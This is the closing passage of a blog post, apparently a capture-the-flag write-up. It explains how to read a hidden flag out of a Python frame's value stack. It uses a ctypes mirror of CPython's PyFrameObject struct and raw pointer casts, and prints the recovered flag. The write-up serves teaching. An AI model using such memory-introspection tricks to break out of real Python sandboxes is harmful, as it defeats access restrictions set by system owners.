    PyObject <span class="token operator">*</span>f_globals<span class="token punctuation">;</span>    <span class="token comment">/* global symbol table (PyDictObject) */</span>
    PyObject <span class="token operator">*</span>f_locals<span class="token punctuation">;</span>     <span class="token comment">/* local symbol table (any mapping) */</span>
    PyObject <span class="token operator">*</span><span class="token operator">*</span>f_valuestack<span class="token punctuation">;</span>    <span class="token comment">/* points after the last local */</span>
    <span class="token comment">/* Next free slot in f_valuestack.  Frame creation sets to f_valuestack.
       Frame evaluation usually NULLs it, but a frame that yields sets it
       to the current stack top. */</span>
    PyObject <span class="token operator">*</span><span class="token operator">*</span>f_stacktop<span class="token punctuation">;</span>
    PyObject <span class="token operator">*</span>f_trace<span class="token punctuation">;</span>      <span class="token comment">/* Trace function */</span>

    <span class="token comment">/* If an exception is raised in this frame, the next three are used to
     * record the exception info (if any) originally in the thread state.  See
     * comments before set_exc_info() -- it's not obvious.
     * Invariant:  if _type is NULL, then so are _value and _traceback.
     * Desired invariant:  all three are NULL, or all three are non-NULL.  That
     * one isn't currently true, but "should be".
     */</span>
    PyObject <span class="token operator">*</span>f_exc_type<span class="token punctuation">,</span> <span class="token operator">*</span>f_exc_value<span class="token punctuation">,</span> <span class="token operator">*</span>f_exc_traceback<span class="token punctuation">;</span>

    PyThreadState <span class="token operator">*</span>f_tstate<span class="token punctuation">;</span>
    <span class="token keyword">int</span> f_lasti<span class="token punctuation">;</span>        <span class="token comment">/* Last instruction if called */</span>
    <span class="token comment">/* Call PyFrame_GetLineNumber() instead of reading this field
       directly.  As of 2.3 f_lineno is only valid when tracing is
       active (i.e. when f_trace is set).  At other times we use
       PyCode_Addr2Line to calculate the line from the current
       bytecode index. */</span>
    <span class="token keyword">int</span> f_lineno<span class="token punctuation">;</span>       <span class="token comment">/* Current line number */</span>
    <span class="token keyword">int</span> f_iblock<span class="token punctuation">;</span>       <span class="token comment">/* index in f_blockstack */</span>
    PyTryBlock f_blockstack<span class="token punctuation">[</span>CO_MAXBLOCKS<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">/* for try and loop blocks */</span>
    PyObject <span class="token operator">*</span>f_localsplus<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token comment">/* locals+stack, dynamically sized */</span>
<span class="token punctuation">}</span> PyFrameObject<span class="token punctuation">;</span></code></pre>
<p>As we suspected some of the attributes of the PyFrameObject are not exposed in Python. We now have to solutions:</p>
<ol>
<li>Write a <a href="https://docs.python.org/2/library/ctypes.html#ctypes.Structure">ctypes Structure</a> to expose PyFrameObject in Python.</li>
<li>Try to do some pointer arithmetic and hope to find the flag without causing a segfault.</li>
</ol>
<p>Luckily someone else has <a href="https://github.com/mkwiatkowski/pythoscope/blob/master/bytecode_tracer/py_frame_object.py">already implemented PyFrameObject</a> for us, and we could us it as follows:</p>
<pre class="language-python"><code class="language-python"><span class="token operator">>></span><span class="token operator">></span> <span class="token keyword">from</span> ctypes <span class="token keyword">import</span> c_int<span class="token punctuation">,</span> c_long<span class="token punctuation">,</span> py_object<span class="token punctuation">,</span> cast<span class="token punctuation">,</span> Structure<span class="token punctuation">,</span> POINTER
<span class="token operator">>></span><span class="token operator">></span> ssize_t <span class="token operator">=</span> c_long
<span class="token operator">>></span><span class="token operator">></span>
<span class="token operator">>></span><span class="token operator">></span> <span class="token keyword">class</span> <span class="token class-name">PyFrameObject</span><span class="token punctuation">(</span>Structure<span class="token punctuation">)</span><span class="token punctuation">:</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>     _fields_ <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">"ob_refcnt"</span><span class="token punctuation">,</span> ssize_t<span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>                 <span class="token punctuation">(</span><span class="token string">"ob_type"</span><span class="token punctuation">,</span> py_object<span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>                 <span class="token punctuation">(</span><span class="token string">"ob_size"</span><span class="token punctuation">,</span> ssize_t<span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>                 <span class="token punctuation">(</span><span class="token string">"f_back"</span><span class="token punctuation">,</span> py_object<span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>                 <span class="token punctuation">(</span><span class="token string">"f_code"</span><span class="token punctuation">,</span> py_object<span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>                 <span class="token punctuation">(</span><span class="token string">"f_builtins"</span><span class="token punctuation">,</span> py_object<span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>                 <span class="token punctuation">(</span><span class="token string">"f_globals"</span><span class="token punctuation">,</span> py_object<span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>                 <span class="token punctuation">(</span><span class="token string">"f_locals"</span><span class="token punctuation">,</span> py_object<span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>                 <span class="token punctuation">(</span><span class="token string">"f_valuestack"</span><span class="token punctuation">,</span> POINTER<span class="token punctuation">(</span>py_object<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>                 <span class="token punctuation">(</span><span class="token string">"f_stacktop"</span><span class="token punctuation">,</span> POINTER<span class="token punctuation">(</span>py_object<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>                 <span class="token punctuation">(</span><span class="token string">"f_trace"</span><span class="token punctuation">,</span> py_object<span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>                 <span class="token punctuation">(</span><span class="token string">"f_exc_type"</span><span class="token punctuation">,</span> py_object<span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>                 <span class="token punctuation">(</span><span class="token string">"f_exc_value"</span><span class="token punctuation">,</span> py_object<span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>                 <span class="token punctuation">(</span><span class="token string">"f_exc_traceback"</span><span class="token punctuation">,</span> py_object<span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>                 <span class="token punctuation">(</span><span class="token string">"f_tstate"</span><span class="token punctuation">,</span> py_object<span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>                 <span class="token punctuation">(</span><span class="token string">"f_lasti"</span><span class="token punctuation">,</span> c_int<span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>                 <span class="token punctuation">(</span><span class="token string">"f_lineno"</span><span class="token punctuation">,</span> c_int<span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>                 <span class="token punctuation">(</span><span class="token string">"f_iblock"</span><span class="token punctuation">,</span> c_int<span class="token punctuation">)</span><span class="token punctuation">]</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
<span class="token operator">>></span><span class="token operator">></span>
<span class="token operator">>></span><span class="token operator">></span> <span class="token keyword">def</span> <span class="token function">_frame_internals</span><span class="token punctuation">(</span>frame<span class="token punctuation">)</span><span class="token punctuation">:</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>     <span class="token keyword">return</span> cast<span class="token punctuation">(</span><span class="token builtin">id</span><span class="token punctuation">(</span>frame<span class="token punctuation">)</span><span class="token punctuation">,</span> POINTER<span class="token punctuation">(</span>PyFrameObject<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>contents
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
<span class="token operator">>></span><span class="token operator">></span> _frame_internals<span class="token punctuation">(</span>f<span class="token punctuation">)</span><span class="token punctuation">.</span>f_valuestack<span class="token punctuation">.</span>contents
py_object<span class="token punctuation">(</span><span class="token string">'9447{seriously_eval_is_lame}'</span><span class="token punctuation">)</span></code></pre>
<p>Or with a bit of guesses (and segfaults):</p>
<pre class="language-pycon"><code class="language-pycon">>>> import ctypes as c
>>>
>>> OP = c.POINTER(c.py_object)
>>> c.cast(id(f), OP)[47]
'9447{seriously_eval_is_lame}'</code></pre>
<p>These solutions require a bit of guessing because the location in memory of the flag will not aways be the same on every platform/architecture.</p>
<p>The exact location may even change according to the value of some compile time flags, as specified in the documentation of <a href="https://docs.python.org/2/c-api/structures.html#c.PyObject_HEAD">PyObject_HEAD</a>.</p>
<p>Thats all! Thanks for reading o/</p>
</section>]]></content:encoded>
        </item>
    </channel>
</rss>